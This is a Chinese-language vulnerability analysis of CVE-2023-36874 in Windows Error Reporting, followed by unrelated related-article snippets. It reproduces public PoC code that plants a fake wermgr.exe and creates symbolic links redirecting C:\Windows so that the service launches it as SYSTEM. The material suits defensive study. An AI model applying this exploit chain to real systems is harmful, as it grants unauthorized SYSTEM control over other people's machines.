CVE-2023-36874 Windows错误报告服务本地权限提升漏洞分析

news2025/1/15 19:51:02

CVE-2023-36874 Windows错误报告服务本地权限提升漏洞分析

漏洞简介

Windows错误报告服务在提交错误报告前会创建wermgr.exe进程,而攻击者使用特殊手法欺骗系统创建伪造的wermgr.exe进程,从而以system权限执行代码。

影响版本

Windows10 1507 *
Windows10 1607 *
Windows10 1809 *
Windows10 21H2 *
Windows10 22H2 *
Windows11 21H2 *
Windows11 22H2 *
WindowsServer 2008 sp2 *
WindowsServer 2008 r2 sp1 * x64 *
WindowsServer2016 *
WindowsServer2019 *
WindowsServer2022 *

危害等级

7.8 ∣ H I G H \textcolor{Red}{7.8 | HIGH} 7.8∣HIGH

漏洞复现

首先在C盘下创建一个目录test\system32,然后将自己写的exe改名为wermgr.exe放进去,这里我是直接使用poc里面添加账户的exe改名为wermgr.exe。

运行EXP之前可以查看当前用户信息

在这里插入图片描述

运行EXP后

在这里插入图片描述

漏洞分析

【EXP】https://github.com/Wh04m1001/CVE-2023-36874

根据网上给出的POC,可以大致知道执行的流程:

  1. 创建目录C:\ProgramData\Microsoft\Windows\WER\ReportArchive\MyReport

    CreateDirectory(L"C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive\\MyReport", NULL);
    
  2. 从资源中释放错误报告文件MyReport.wer。

    HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_REPORT1), L"Report");
    DWORD ReportSize = SizeofResource(hm, res);
    void* ReportBuff = LoadResource(hm, res);
    ...
    HANDLE hFile = CreateFile(L"C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive\\MyReport\\Report.wer", GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        printf("[-] Cannot create report.wer file.\n");
        return -1;
    }
    if (!WriteFile(hFile, ReportBuff, ReportSize, NULL, NULL))
    {
        printf("[-] Failed to write to report.wer file.\n");
        return -1;
    }
    
  3. 创建IErcLuaSupportUI接口对象,调用 I E r c L u a S u p p o r t : : G e t W e r S t o r e F a c t o r y ( ) \textcolor{orange}{IErcLuaSupport::GetWerStoreFactory()} IErcLuaSupport::GetWerStoreFactory()构造函数实例化IWerStoreFactory工厂对象。

    result = CoCreateInstance(__uuidof(CLSID_IErcLuaSupport), NULL, CLSCTX_LOCAL_SERVER, __uuidof(IErcLuaSupport), (PVOID*)&pIErcLuaSupport);
    ...
    result = pIErcLuaSupport->Proc3(&pIWerStoreFactory);
    
  4. 调用 I W e r S t o r e F a c t o r y : : E n u m e r a t e S t a r t ( ) \textcolor{orange}{IWerStoreFactory::EnumerateStart()} IWerStoreFactory::EnumerateStart()得到IWerStore接口对象。

    result = pIWerStoreFactory->Proc4(&pIWerStore);
    
  5. 使用 I W e r C o m S t o r e : : E n u m e r a t e S t a r t ( ) \textcolor{orange}{IWerComStore::EnumerateStart()} IWerComStore::EnumerateStart()开始模拟错误报告。

    result = pIWerStore->Proc3();
    
  6. 调用 I W e r C o m S t o r e : : L o a d R e p o r t ( ) \textcolor{orange}{IWerComStore::LoadReport()} IWerComStore::LoadReport()加载C:\ProgramData\Microsoft\Windows\WER\ReportArchive\MyReport目录下的错误报告,并获得一个错误报告接口IWerReport的对象。

    BSTR report = SysAllocString(L"MyReport");
    BSTR data = SysAllocString(L"test");
    result = pIWerStore->Proc6(report, &pIWerReport);
    
  7. C:\Windows目录创建一个符号链接,指向一个目录C:\test

    pRtlInitUnicodeString(&object, L"\\??\\test");
    InitializeObjectAttributes(&objAttrDir, &object, OBJ_CASE_INSENSITIVE, NULL, NULL);
    pNtCreateDirectoryObject(&hObjectdir, 0xF000F, &objAttrDir);
    
    pRtlInitUnicodeString(&symlink_name, L"Windows");
    pRtlInitUnicodeString(&path, L"\\GLOBAL??\\C:\\test");
    InitializeObjectAttributes(&objAttrLink, &symlink_name, OBJ_CASE_INSENSITIVE, hObjectdir, NULL);
    pNtCreateSymbolicLinkObject(&hSymlinkWindows, 0xF0001, &objAttrLink, &path);
    
  8. ProgramData目录创建一个符号链接,指向目录C:\ProgramData

    pRtlInitUnicodeString(&symlink_name, L"ProgramData");
    pRtlInitUnicodeString(&path, L"\\GLOBAL??\\C:\\Programdata");
    InitializeObjectAttributes(&objAttrLink, &symlink_name, OBJ_CASE_INSENSITIVE, hObjectdir, NULL);
    pNtCreateSymbolicLinkObject(&hSymlinkProgramdata, 0xF0001, &objAttrLink, &path);
    
  9. C:\目录创建一个符号链接,指向C:\test目录

    pRtlInitUnicodeString(&symlink_name, L"\\??\\C:");
    pRtlInitUnicodeString(&path, L"\\??\\test");
    InitializeObjectAttributes(&objAttrLink, &symlink_name, OBJ_CASE_INSENSITIVE, NULL, NULL);
    pNtCreateSymbolicLinkObject(&hSymlink, 0xF0001, &objAttrLink, &path);
    
  10. 调用 I W e r C o m R e p o r t : : _ S u b m i t R e p o r t ( ) \textcolor{orange}{IWerComReport::\_SubmitReport()} IWerComReport::_SubmitReport(),重点来了。该接口内部会调用 w e r ! W e r p S u b m i t R e p o r t F r o m S t o r e \textcolor{orange}{wer!WerpSubmitReportFromStore} wer!WerpSubmitReportFromStore提交错误报告,然后经历 C R e p o r t H a n d l e I n s t a n c e : : S u b m i t R e p o r t   = >   C R e p o r t M a n a g e r : : R e p o r t P r o b l e m   = >   C R e p o r t M a n a g e r : : R e p o r t P r o b l e m O u t O f P r o c e s s   = >   U t i l L a u n c h W e r M a n a g e r \textcolor{orange}{CReportHandleInstance::SubmitReport\ =>\ CReportManager::ReportProblem\ =>\ CReportManager::ReportProblemOutOfProcess\ =>\ UtilLaunchWerManager } CReportHandleInstance::SubmitReport => CReportManager::ReportProblem => CReportManager::ReportProblemOutOfProcess => UtilLaunchWerManager到达利用点。

    __int64 __fastcall UtilLaunchWerManager(
            const unsigned __int16 **a1,
            __int64 a2,
            __int64 a3,
            void *a4,
            void **a5,
            void **a6,
            unsigned int a7,
            void **a8)
    {
        if ( GetSystemDirectoryW(Buffer, 0x104u) - 1 > 0x102 ) // 取 C:\Windows\System32 目录
          {
            LastError = GetLastError();
            v27 = ERROR_HR_FROM_WIN32(LastError);
            v12 = v27;
            v28 = WPP_GLOBAL_Control;
            if ( WPP_GLOBAL_Control == (HKEY)&WPP_GLOBAL_Control || ((_BYTE)WPP_GLOBAL_Control[7] & 1) == 0 )
              goto LABEL_38;
            v29 = 0x12i64;
            goto LABEL_67;
          }
          v11 = StringCchCatW(Buffer, 0x104ui64, L"\\wermgr.exe"); // 拼接成 C:\Windows\System32\wermgr.exe
          v12 = v11;
          if ( v11 >= 0 )
          {
            ...
    
            if ( !InitializeProcThreadAttributeList(0i64, 1u, 0, &Size) )
            {
              ...
            }
            ProcessHeap = GetProcessHeap();
            ThreadAttributeHeap = (struct _PROC_THREAD_ATTRIBUTE_LIST *)HeapAlloc(ProcessHeap, 0, Size);
            v10 = ThreadAttributeHeap;
            if ( !ThreadAttributeHeap )
            {
             ...
              goto LABEL_37;
            }
            if ( !InitializeProcThreadAttributeList(ThreadAttributeHeap, 1u, 0, &Size) )
            {
              ...
              goto LABEL_53;
            }
            v9 = 1;
            if ( UpdateProcThreadAttribute(v10, 0, 0x20002ui64, lpValue, 8i64 * a7, 0i64, 0i64) )
            {
              StartupInfo.cb = 0x70;
              v45 = v10;
              // 创建进程,路径为 C:\windows\system32\wermgr.exe
              if ( CreateProcessW(Buffer, v14, 0i64, 0i64, 2, 0x80000u, 0i64, 0i64, &StartupInfo, &lpProcessInformation) )
              {
                v12 = 0;
              }
              ...
            }
          }
    }
    

    注意 C r e a t e P r o c e s s W \textcolor{cornflowerblue}{CreateProcessW} CreateProcessW函数的bInheritHandles参数大于0,表明新进程会继承父进程的句柄,也就是说子进程和父进程的句柄值是一样的。同时表明父进程句柄的所有权限,子进程同样也有。而错误报告服务运行系统服务中,对应进程名svchost.exe,权限是system。假如能够通过某种方式欺骗服务创建攻击者指定的进程,那自然就可以提权了。

    漏洞利用

    显然从公开的POC中可以看到,利用的方式是在C盘创建一个test目录,在test里又创建一个system32目录,然后把伪造的wermgr.exe放进去。在调用 I W e r C o m R e p o r t : : _ S u b m i t R e p o r t ( ) \textcolor{orange}{IWerComReport::\_SubmitReport()} IWerComReport::_SubmitReport()前,给windows目录创建一个符号链接指向test,这样就可以在系统服务创建C:\Windows\system32\wermgr.exe进程的时候欺骗系统创建C:\test\system32\wermgr.exe进程,从而以system权限执行任意代码。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/944649.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

LC1011. 在 D 天内送达包裹的能力(JAVA)

在 D 天内送达包裹的能力 题目描述上期经典算法 题目描述 leetcode 1011. 在 D 天内送达包裹的能力 难度 - 中等 传送带上的包裹必须在 days 天内从一个港口运送到另一个港口。 传送带上的第 i 个包裹的重量为 weights[i]。每一天,我们都会按给出重量(we…

java主要的垃圾回收算法

垃圾收集算法了解吗? 标记-清除算法 标记 : 标记出所有需要回收的对象 清除:回收所有被标记的对象 主要存在两个缺点: 执行效率不稳定,如果 Java 堆中包含大量对象,而且其中大部分是需要被回收的,这时必…

macOS使用命令行连接Oracle(SQL*Plus)

Author: histonevonzohomail.com Date: 2023/08/25 文章目录 SQL\*Plus安装下载环境配置 SQL\*Plus远程连接数据库参考文献 原文地址:https://histonevon.top/archives/oracle-mac-sqlplus数据库安装:Docker安装Oracle数据库 (histonevon.top) SQL*Plus…

移动电源专用的单节锂离子电池充电器和恒定 5V 升压控制器HU5715

航誉微HU5715 为一款移动电源专用的单节锂离子电池充电器和恒定 5V 升压控制器,充电 部分集高精度电压和充电电流调节器、预充、充电状态指示和充电截止等功能于一体, 可以输出最大 1A 充电电流。而升压电路采用 CMOS 工艺制造的空载电流极低的 VFM 开 关…

解析经典面试题:for 循环中的 let var

题目 for循环中&#xff0c;使用 var 或 let 声明 i 变量&#xff0c;会得到不同的结果 var arr []; for (var i 0; i < 2; i) {arr[i] function () {console.log(i);} } arr[0](); arr[1]();输出&#xff1a; 2 2 var arr []; for (let i 0; i < 2; i) {arr[i] …

新兴崛起的优雅框架Mybatis-Flex

目录 介绍 基础使用 简单入门 插入数据 insertSelective insertOrUpdate insertBatch 注意事项 删除数据 ​编辑 条件删除 批量删除 注意事项 更新数据 ​编辑 条件更新 UpdateEntity使用 UpdaerWrapper使用 注意事项 查询数据 查询一条数据 selectOneById​编辑 …

深圳前海公司财政补贴

前海公司财政补贴 1.扶持领域 一般类项目和港资企业创新创业发展项目均须符合下列产业领域&#xff1a; 1.1金融业。围绕跨境人民币业务、财富管理、资产管理、股权投资、要素交易市场建设、金融产品创新、金融中介服务领域开展的有利于金融业改革创新发展的项目。 1.2现代…

视频融合平台EasyCVR视频汇聚平台关于小区高空坠物安全实施应用方案设计

近年来&#xff0c;随着我国城市化建设的推进&#xff0c;高楼大厦越来越多&#xff0c;高空坠物导致的伤害也屡见不鲜&#xff0c;严重的影响到人们的生命安全。像在日常生活中一些不起眼的小东西如烟头、鸡蛋、果核、易拉罐&#xff0c;看似伤害不大&#xff0c;但只要降落的…

架构之选:评价Spring Cloud在微服务完整性方面的独到观点!

大家好&#xff0c;我是小米&#xff01;今天我们要来聊一个非常热门的话题&#xff1a;Spring Cloud在微服务架构方面的完整度情况。随着技术的不断演进&#xff0c;微服务架构已经成为了众多企业构建灵活、可扩展系统的首选。而Spring Cloud作为微服务架构的佼佼者&#xff0…

Java 8 新特性——Lambda 表达式(2)

一、Java Stream API Java Stream函数式编程接口最初在Java 8中引入&#xff0c;并且与 lambda 一起成为Java开发里程碑式的功能特性&#xff0c;它极大的方便了开放人员处理集合类数据的效率。 Java Stream就是一个数据流经的管道&#xff0c;并且在管道中对数据进行操作&…

POI实现百万数据导出

1、概述 ​ 我们都知道Excel可以分为早期的Excel2003版本&#xff08;使用POI的HSSF对象操作&#xff09;和Excel2007版本&#xff08;使用POI的XSSF操作&#xff09;&#xff0c;两者对百万数据的支持如下&#xff1a; ​ Excel 2003&#xff1a;在POI中使用HSSF对象时&#…

Java代码通过经纬度计算省份。

直接上代码&#xff0c;需要市区县可自己解析 String areaName addressUtil.getPosition(longitude, latitude); package com.skyable.device.utils.velicle;import com.fasterxml.jackson.databind.JsonNode; import com.fasterxml.jackson.databind.ObjectMapper; import l…

如何把视频压缩到最小?

如何把视频压缩到最小&#xff1f;现在是自媒体非常流行的时代&#xff0c;视频的使用也变得非常的频繁&#xff0c;不管你是出于个人爱好还是在工作中&#xff0c;都需要拍摄和制作视频&#xff0c;因此对于视频文件的操作和处理对于我们每个人就非常的重要。随着现在手机拍摄…

基于java Swing 和 mysql实现的飞机订票系统(源码+数据库+ppt+ER图+流程图+架构说明+论文+运行视频指导)

一、项目简介 本项目是一套基于java Swing 和 mysql实现的飞机订票系统&#xff0c;主要针对计算机相关专业的正在做毕设的学生与需要项目实战练习的Java学习者。 包含&#xff1a;项目源码、项目文档、数据库脚本等&#xff0c;该项目附带全部源码可作为毕设使用。 项目都经过…

20个常用Matplotlib图的Python代码,全文干货建议收藏!

今天分享给大家25个Matplotlib图的汇总&#xff0c;在数据分析和可视化中最有用。 # !pip install brewer2mpl import numpy as np import pandas as pd import matplotlib as mpl import matplotlib.pyplot as plt import seaborn as sns import warnings; warnin…

前端vue引入高德地图入门教程

距离上一篇关于前端项目中使用高德地图的文章已经将近5年之久&#xff0c; 这是我的第一篇关于高德地图的文章 这期间前端技术日新月异&#xff0c;5年前JQuery还如日中天&#xff0c;如今已经销声匿迹&#xff0c;很少有公司招聘还在要求JQuery&#xff0c;更多的是Vue、React…

Linux(扩展篇)

Linux扩展篇 软件包管理RPMRPM概述RPM查询命令RPM卸载命令RPM安装命令 YUM仓库配置YUM概述YUM的常用命令修改网络 YUM 源安装 wget, wget 用来从指定的 URL 下载文件在/etc/yum.repos.d/目录下&#xff0c;备份默认的 repos 文件下载网易 163 或者是 aliyun 的 repos 文件使用下…

大数据学习:Hive基础与DDL操作

Hive基础与DDL操作 1. 数据仓库 1.1 数据仓库的基本概念 数据仓库的英文名称为Data Warehouse&#xff0c;可简写为DW或DWH。 数据仓库的目的是构建面向分析的集成化数据环境&#xff0c;为企业提供决策支持&#xff08;Decision Support&#xff09;。它出于分析性报告和决…

leetcode410. 分割数组的最大值(java)

分割数组的最大值 题目描述二分法代码演示 题目描述 难度 - 困难 410. 分割数组的最大值 给定一个非负整数数组 nums 和一个整数 m &#xff0c;你需要将这个数组分成 m 个非空的连续子数组。 设计一个算法使得这 m 个子数组各自和的最大值最小。 示例 1&#xff1a; 输入&…

数字化会员系统如何落地?数字化会员运营机制设计方式

对于企业而言&#xff0c;如何对自身客户进行标签划分、挖掘潜在价值并进行后续运营、转化&#xff0c;是每个企业的必修课。在业务开展的过程中&#xff0c;企业也需要知道什么样的客户更值得维护、以及如何让更多的客户发挥更大的价值。因此&#xff0c;不少企业选择开发数字…